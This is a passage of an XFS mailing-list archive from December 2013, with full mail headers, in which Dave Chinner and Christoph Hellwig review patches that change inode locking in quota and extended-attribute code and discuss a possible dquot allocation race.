xfs/fs/xfs/xfs_dquot.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_dquot.c 2013-11-18 14:39:01.955589999 +0100 > +++ xfs/fs/xfs/xfs_dquot.c 2013-12-05 11:42:34.759679600 +0100 > @@ -469,16 +469,17 @@ xfs_qm_dqtobp( > struct xfs_mount *mp = dqp->q_mount; > xfs_dqid_t id = be32_to_cpu(dqp->q_core.d_id); > struct xfs_trans *tp = (tpp ? *tpp : NULL); > + uint lock_mode; > > dqp->q_fileoffset = (xfs_fileoff_t)id / mp->m_quotainfo->qi_dqperchunk; > > - xfs_ilock(quotip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_map_shared(quotip); > if (!xfs_this_quota_on(dqp->q_mount, dqp->dq_flags)) { > /* > * Return if this type of quotas is turned off while we > * didn't have the quota inode lock. > */ > - xfs_iunlock(quotip, XFS_ILOCK_SHARED); > + xfs_iunlock_map_shared(quotip, lock_mode); > return ESRCH; > } > > @@ -488,7 +489,7 @@ xfs_qm_dqtobp( > error = xfs_bmapi_read(quotip, dqp->q_fileoffset, > XFS_DQUOT_CLUSTER_SIZE_FSB, &map, &nmaps, 0); > > - xfs_iunlock(quotip, XFS_ILOCK_SHARED); > + xfs_iunlock_map_shared(quotip, lock_mode); > if (error) > return error; Looks ok, so consider it: Reviewed-by: Dave Chinner However, it raises a bigger question about dquot allocation sanity to me: what makes the map returned valid after we've unlocked the extent list? We then use it to determine whether to allocate a dquot or not, and xfs_qm_dqalloc() then does this after calling xfs_bmapi_write(): ASSERT((map.br_startblock != DELAYSTARTBLOCK) && (map.br_startblock != HOLESTARTBLOCK)); What's to prevent someone coming in between the xfs_bmapi_read() and *write() calls and allocating a different dquot in the same cluster and therefore beating the first thread to the allocation? This read/write race exists elsewhere - e.g. xfs_iomap_write_allocate documents it for the data path - and it has to be specifically handled to prevent corruption..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 5 14:45:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C163B7F7B for ; Thu, 5 Dec 2013 14:45:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A4D728F804B for ; Thu, 5 Dec 2013 12:45:59 -0800 (PST) X-ASG-Debug-ID: 1386276357-04cb6c537e54e0a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 34HlYr1t0DEdWV5V for ; Thu, 05 Dec 2013 12:45:58 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHALrloFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwVQXFo5qB4MggRMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:15:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vofnm-0007tu-Th; Fri, 06 Dec 2013 07:45:38 +1100 Date: Fri, 6 Dec 2013 07:45:38 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate Message-ID: <20131205204538.GC29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.506063990@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.506063990@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386276357 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 07:58:33AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_qm.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_qm.c 2013-11-18 14:39:01.967589998 +0100 > +++ xfs/fs/xfs/xfs_qm.c 2013-12-05 12:32:36.623617997 +0100 > @@ -1193,16 +1193,18 @@ xfs_qm_dqiterate( > lblkno = 0; > maxlblkcnt = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); > do { > + uint lock_mode; > + > nmaps = XFS_DQITER_MAP_SIZE; > /* > * We aren't changing the inode itself. Just changing > * some of its data. No new blocks are added here, and > * the inode is never added to the transaction. > */ > - xfs_ilock(qip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_map_shared(qip); > error = xfs_bmapi_read(qip, lblkno, maxlblkcnt - lblkno, > map, &nmaps, 0); > - xfs_iunlock(qip, XFS_ILOCK_SHARED); > + xfs_iunlock_map_shared(qip, lock_mode); > if (error) > break; There's no bug here - this comes from quotacheck, which is guaranteed to have exclusive access to the filesystem at this point. Hence there's no-one to race with reading the extent list. Still, it doesn't hurt. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 14:53:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 664937F57 for ; Thu, 5 Dec 2013 14:53:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 410CF8F8035 for ; Thu, 5 Dec 2013 12:53:47 -0800 (PST) X-ASG-Debug-ID: 1386276825-04cbb0416755d6b0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id VvnNumTRkBPFr8Ku (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 12:53:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vofvd-0005m7-8n; Thu, 05 Dec 2013 20:53:45 +0000 Date: Thu, 5 Dec 2013 12:53:45 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Message-ID: <20131205205345.GA12393@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.330689967@bombadil.infradead.org> <20131205204108.GB29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205204108.GB29897@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386276826 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Dec 06, 2013 at 07:41:08AM +1100, Dave Chinner wrote: > However, it raises a bigger question about dquot allocation sanity > to me: what makes the map returned valid after we've unlocked the > extent list? > > We then use it to determine whether to allocate a > dquot or not, and xfs_qm_dqalloc() then does this after calling > xfs_bmapi_write(): > > ASSERT((map.br_startblock != DELAYSTARTBLOCK) && > (map.br_startblock != HOLESTARTBLOCK)); > > What's to prevent someone coming in between the xfs_bmapi_read() > and *write() calls and allocating a different dquot in the same > cluster and therefore beating the first thread to the allocation? > > This read/write race exists elsewhere - e.g. xfs_iomap_write_allocate > documents it for the data path - and it has to be specifically > handled to prevent corruption..... Yeah, we'll need to read-read the extent map in xfs_qm_dqalloc. I I think this is efficiently paper over by the buffer lock - we take it right after the xfs_bmapi_write over the period of initialization the on-disk dquots and copying the one we were called for into the in-memory one. So while we might have been corrupting dquots all over no one has noticed because we had a non-corrupted version in-memory that overwrote the corrupted one again later. Uhh.. From david@fromorbit.com Thu Dec 5 14:59:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4A6F27F5E for ; Thu, 5 Dec 2013 14:59:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D9079AC004 for ; Thu, 5 Dec 2013 12:59:15 -0800 (PST) X-ASG-Debug-ID: 1386277153-04bdf0132350bf0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id DdulrlA4BKrkQ3QH for ; Thu, 05 Dec 2013 12:59:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHABPooFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHBUxcWjmoHgyCBEwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:29:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vog0s-0007vo-PH; Fri, 06 Dec 2013 07:59:10 +1100 Date: Fri, 6 Dec 2013 07:59:10 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205205910.GD29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.679310054@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386277153 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 07:58:34AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c > index b861270..5343034 100644 > --- a/fs/xfs/xfs_attr.c > +++ b/fs/xfs/xfs_attr.c > @@ -164,6 +164,7 @@ xfs_attr_get( > { > int error; > struct xfs_name xname; > + uint lock_mode; > > XFS_STATS_INC(xs_attr_get); > > @@ -174,9 +175,9 @@ xfs_attr_get( > if (error) > return error; > > - xfs_ilock(ip, XFS_ILOCK_SHARED); > + lock_mode = xfs_ilock_map_shared(ip); > error = xfs_attr_get_int(ip, &xname, value, valuelenp, flags); > - xfs_iunlock(ip, XFS_ILOCK_SHARED); > + xfs_iunlock_map_shared(ip, lock_mode); > return(error); > } I think the locking here should be moved inside xfs_attr_get_int() so that it uses the same locking pattern as xfs_attr_set() and xfs_attr_remove(). Also, xfs_attr_list() needs this treatment (the attr version of readdir) as well (and it has the locking inside xfs_attr_list_int(), too ;). It looks like xfs_readlink needs fixing, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 15:02:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 480A17F5E for ; Thu, 5 Dec 2013 15:02:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36D22304097 for ; Thu, 5 Dec 2013 13:02:01 -0800 (PST) X-ASG-Debug-ID: 1386277319-04cb6c537d54e9f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 054YZJsZZli4fWhR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 13:02:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vog3b-0007tg-Mc; Thu, 05 Dec 2013 21:01:59 +0000 Date: Thu, 5 Dec 2013 13:01:59 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205210159.GA30318@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> <20131205205910.GD29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205205910.GD29897@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386277320 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 07:59:10AM +1100, Dave Chinner wrote: > I think the locking here should be moved inside xfs_attr_get_int() Or we could just kill xfs_attr_get_int.. > so that it uses the same locking pattern as xfs_attr_set() and > xfs_attr_remove(). > > Also, xfs_attr_list() needs this treatment (the attr version of > readdir) as well (and it has the locking inside xfs_attr_list_int(), > too ;). > > It looks like xfs_readlink needs fixing, too. Haven't really done an in-depth audit, mostly just looking at where the asserts kick in.. From david@fromorbit.com Thu Dec 5 15:04:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 873DE7F5E for ; Thu, 5 Dec 2013 15:04:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 612C8304051 for ; Thu, 5 Dec 2013 13:04:04 -0800 (PST) X-ASG-Debug-ID: 1386277442-04bdf0132250ec0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5dH0sf7RA5FclTPT for ; Thu, 05 Dec 2013 13:04:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAEvpoFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHBWRcWjmoHgyCBEwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:34:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vog5V-0007x5-0X; Fri, 06 Dec 2013 08:03:57 +1100 Date: Fri, 6 Dec 2013 08:03:56 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Message-ID: <20131205210356.GE29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.330689967@bombadil.infradead.org> <20131205204108.GB29897@dastard> <20131205205345.GA12393@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205205345.GA12393@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386277442 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 12:53:45PM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 07:41:08AM +1100, Dave Chinner wrote: > > However, it raises a bigger question about dquot allocation sanity > > to me: what makes the map returned valid after we've unlocked the > > extent list? > > > > We then use it to determine whether to allocate a > > dquot or not, and xfs_qm_dqalloc() then does this after calling > > xfs_bmapi_write(): > > > > ASSERT((map.br_startblock != DELAYSTARTBLOCK) && > > (map.br_startblock != HOLESTARTBLOCK)); > > > > What's to prevent someone coming in between the xfs_bmapi_read() > > and *write() calls and allocating a different dquot in the same > > cluster and therefore beating the first thread to the allocation? > > > > This read/write race exists elsewhere - e.g. xfs_iomap_write_allocate > > documents it for the data path - and it has to be specifically > > handled to prevent corruption..... > > Yeah, we'll need to read-read the extent map in xfs_qm_dqalloc. I I > think this is efficiently paper over by the buffer lock - we take > it right after the xfs_bmapi_write over the period of initialization > the on-disk dquots and copying the one we were called for into the > in-memory one. So while we might have been corrupting dquots all > over no one has noticed because we had a non-corrupted version > in-memory that overwrote the corrupted one again later. Uhh.. Hmmm - I didn't think of the "rewrite dquot form memory into buffer" aspect of it. That makes it even more subtle and less likely to be seen unless we crash at exactly the wrong time... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 5 15:06:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C1E067F5F for ; Thu, 5 Dec 2013 15:06:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9C649304051 for ; Thu, 5 Dec 2013 13:06:07 -0800 (PST) X-ASG-Debug-ID: 1386277565-04cbb0416855ddb0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id AtQHEzFr9iz8W4JA for ; Thu, 05 Dec 2013 13:06:05 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAHPqoFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHBWBcWjmoHgyCBEwOYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:35:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vog7R-0007xH-Ex; Fri, 06 Dec 2013 08:05:57 +1100 Date: Fri, 6 Dec 2013 08:05:57 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205210557.GF29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> <20131205205910.GD29897@dastard> <20131205210159.GA30318@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205210159.GA30318@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386277565 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 01:01:59PM -0800, Christoph Hellwig wrote: > On Fri, Dec 06, 2013 at 07:59:10AM +1100, Dave Chinner wrote: > > I think the locking here should be moved inside xfs_attr_get_int() > > Or we could just kill xfs_attr_get_int.. > > > so that it uses the same locking pattern as xfs_attr_set() and > > xfs_attr_remove(). > > > > Also, xfs_attr_list() needs this treatment (the attr version of > > readdir) as well (and it has the locking inside xfs_attr_list_int(), > > too ;). > > > > It looks like xfs_readlink needs fixing, too. > > Haven't really done an in-depth audit, mostly just looking at > where the asserts kick in.. Right - I just did a scan with cscope on the users of XFS_ILOCK_SHARED, and those two were the only ones that stuck out that weren't handled correctly.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 15:11:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 085447F6D for ; Thu, 5 Dec 2013 15:11:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8B571AC001 for ; Thu, 5 Dec 2013 13:10:56 -0800 (PST) X-ASG-Debug-ID: 1386277855-04cb6c537d54f010001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id k0veApoxRRSJBpgj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 13:10:55 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VogCF-0001xW-30; Thu, 05 Dec 2013 21:10:55 +0000 Date: Thu, 5 Dec 2013 13:10:55 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205211055.GA3209@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> <20131205205910.GD29897@dastard> <20131205210159.GA30318@infradead.org> <20131205210557.GF29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205210557.GF29897@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386277855 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 08:05:57AM +1100, Dave Chinner wrote: > > Haven't really done an in-depth audit, mostly just looking at > > where the asserts kick in.. > > Right - I just did a scan with cscope on the users of > XFS_ILOCK_SHARED, and those two were the only ones that stuck out > that weren't handled correctly.... With MAXPATHLEN at 1024 a symlink is at max 2 extents and thus never in btree format, so I don't think we'll need it in readlink. The attr cases look real, though. From david@fromorbit.com Thu Dec 5 15:11:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01D5F7F85 for ; Thu, 5 Dec 2013 15:11:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D39238F8035 for ; Thu, 5 Dec 2013 13:11:07 -0800 (PST) X-ASG-Debug-ID: 